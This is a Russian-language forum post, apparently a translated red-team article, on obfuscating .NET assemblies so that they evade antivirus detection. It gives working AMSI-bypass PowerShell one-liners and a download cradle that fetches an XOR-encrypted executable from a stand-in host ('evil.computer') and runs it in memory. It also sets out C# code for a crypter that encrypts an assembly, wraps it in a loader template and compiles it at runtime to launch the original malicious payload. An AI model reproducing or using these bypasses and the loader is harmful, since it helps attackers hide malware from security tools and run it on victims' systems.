Admin
Администратор
К обфускации общих сборок .NET (часть 1)
Около двух лет назад, когда я вступил на поле ред тима, был весьма популярен PowerShell. Он был простым, элегантным и не заабьюженным способом обхода антивирусных решений. Но во многом, благодаря Microsoft, в частности внедрениям в PowerShell (v5) защитных возможностей, таких как AMSI и Script Logging, для ред тиммеров закончились те счастливые дни с использованием PowerShell. Конечно, это все еще возможно:
Код:
[PSObject]Assmebly.GetType('System.Management.Automation'+'Utils'),GetType('amsiIni'+'tFailed', 'nonPublic, static').setValue($null, $true)
Код:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Поэтому, как обычно и бывает, ред тиммеры нашли другой доступный способ, с помощью которого можно достичь необходимых целей: .NET.
Усилиями индустрии, смещающейся от PowerShell, появились такие инструменты на базе .NET, как: GhostPack, SharpView, SharpWeb и reconerator – хорошие примеры таких вот усилий.
Как и модули PowerShell, весьма часто есть возможность запустить и сборки .NET (.NET assemblies) из памяти, не трогая при этом диск:
Код:
$wc=New-Object System.Net.WebClient;$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0");$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials
$k="XOR\_KEY";$i=0;[byte[]]$b=([byte[]]($wc.DownloadData("https://evil.computer/malware.exe")))|%{$_-bxor$k[$i++%$k.length]}
[System.Reflection.Assembly]::Load($b) | Out-Null
$parameters=@("arg1", "arg2")
[namespace.Class]::Main($parameters)
Обфускация исполняемых файлов на базе .NET
Но иногда необходимо сбрасывать исполняемые файлы на диск, ведь так? А может, вы хотите в общем придерживаться хорошей практике OpSec обфусцировать свои исполняемые файлы (на всякий)? В таком случае, было бы неплохо иметь свой собственный обфускатор исполняемых файлов на базе .NET, который может обфусцировать любую сборку, при этом не ломая и не изменяя основной функционал.Идея, описанная здесь, крутится вокруг инкапсуляции сборки .NET и загрузки самой инкапсулированной сборки в рантайме через метод Assembly.Load(byte[]) (он не должен мониториться и логгироваться!). Выхлопом нашего обфускатора должна быть сборка, которая запускает оригинальную (зловредную) сборку в собственное адресное пространство процесса (т.е. в память процесса, прим. переводчика). Наш обфускатор должен проделать следующие шаги:
1. Принимать на вход .NET сборку, обфусцировать/шифровать её и кодировать в строку base64:
C#:
String path = args[0];
key = getRandomKey();
String filename = Path.GetFileNameWithoutExtension(path).ToString();
String obfuscatedBin = obfuscateBinary(path);
private String obfuscateBinary(String file) {
byte[] assemblyBytes = fileToByteArray(@file);
byte[] encryptedAssembly = encrypt(assemblyBytes, key);
return System.Convert.ToBase64String(encryptedAssembly);
}
2. Создать код на C#, который будет деобфусцировать/дешифровать строку (накрытую base64) и загружать её через метод Assembly.Load(byte[]).
Переменная srcTemplate содержит шаблон для (внешнего) вывода сборки обфускатора. В рантайме, эта обфусцированная сборка будет деобфусцированна и загружена через метод Assembly.Load(byte[]). Загвоздка здесь в том, что мы не знаем, где в сборке будет находиться метод Main. Мы можем решить данную проблему, сопоставив главные характеристики метода Main: наличие модификаторов доступа public, static и аргумент String[]. Если такой метод не нашелся с первого раза, мы переходим к следующему, до тех пор, пока мы не найдем необходимый нам метод. Когда мы найдем метод, соответствующий описанным характеристикам, мы вызовем его и передадим ему аргументы, полученные из «внешней» сборки:
C#:
public static string srcTemplate = @"using System;
using System.Collections.Generic;
using System.IO;
using System.Reflection;
using System.Security.Cryptography;
namespace Loader {
public static class Loader {
private static readonly byte[] SALT = new byte[] { 0xba, 0xdc, 0x0f, 0xfe, 0xeb, 0xad, 0xbe, 0xfd, 0xea, 0xdb, 0xab, 0xef, 0xac, 0xe8, 0xac, 0xdc };
public static void Main(string[] args) {
byte[] bytes = decrypt(Convert.FromBase64String(Package.dotnetfile), Package.key);
Assembly a = Assembly.Load(bytes);
foreach (Type type in a.GetTypes()) {
try {
object instance = Activator.CreateInstance(type);
object[] procargs = new object[] { args };
var methodInfo = type.GetMethod(""Main"", BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Static | BindingFlags.FlattenHierarchy);
var result = methodInfo.Invoke(instance, procargs);
}
catch (Exception e) { }
}
}
public static byte[] decrypt(byte[] cipher, string key) { // Left out }
public class Package {
public static string dotnetfile = @""INSERTHERE"";
public static string key = @""KEY"";
}
}";
String obfuscatedBin = obfuscateBinary(path);
String tmpStr = srcTemplate.Replace("INSERTHERE", obfuscatedBin);
String srcFinal = tmpStr.Replace("KEY", key);
3. Скомпилировать новую .NET сборку в рантайме
Когда шаблон заполнен, мы компилируем выходную сборку (обфусцированную):
C#:
compile(srcFinal, filename + "_obfuscated.exe");
static void compile(String source, String outfile) {
var provider_options = new Dictionary<string, string>
{
{"CompilerVersion","v3.5"}
};
var provider = new Microsoft.CSharp.CSharpCodeProvider(provider_options);
var compiler_params = new System.CodeDom.Compiler.CompilerParameters();
compiler_params.OutputAssembly = outfile;
compiler_params.GenerateExecutable = true;
// Compile
var results = provider.CompileAssemblyFromSource(compiler_params, source);
Console.WriteLine("Output file: {0}", outfile);
Console.WriteLine("Number of Errors: {0}", results.Errors.Count);
foreach (System.CodeDom.Compiler.CompilerError err in results.Errors) {
Console.WriteLine("ERROR {0}", err.ErrorText);
}
}
При самостоятельной реализации данного метода, я строго рекомендую использовать собственные техники обфускации/шифрования, а также некоторые методы обхода сэндбоксов. Хоть этот метод и обходит все традиционные антивирусные решения, но строка в base64 может вызвать к срабатыванию «ML-движков», поскольку сборка будет весьма похожа на загрузчик: весьма «ограниченный» код и большая строка (с нашим шаблоном). В будущих частях я расскажу о методах обхода «ML-движков».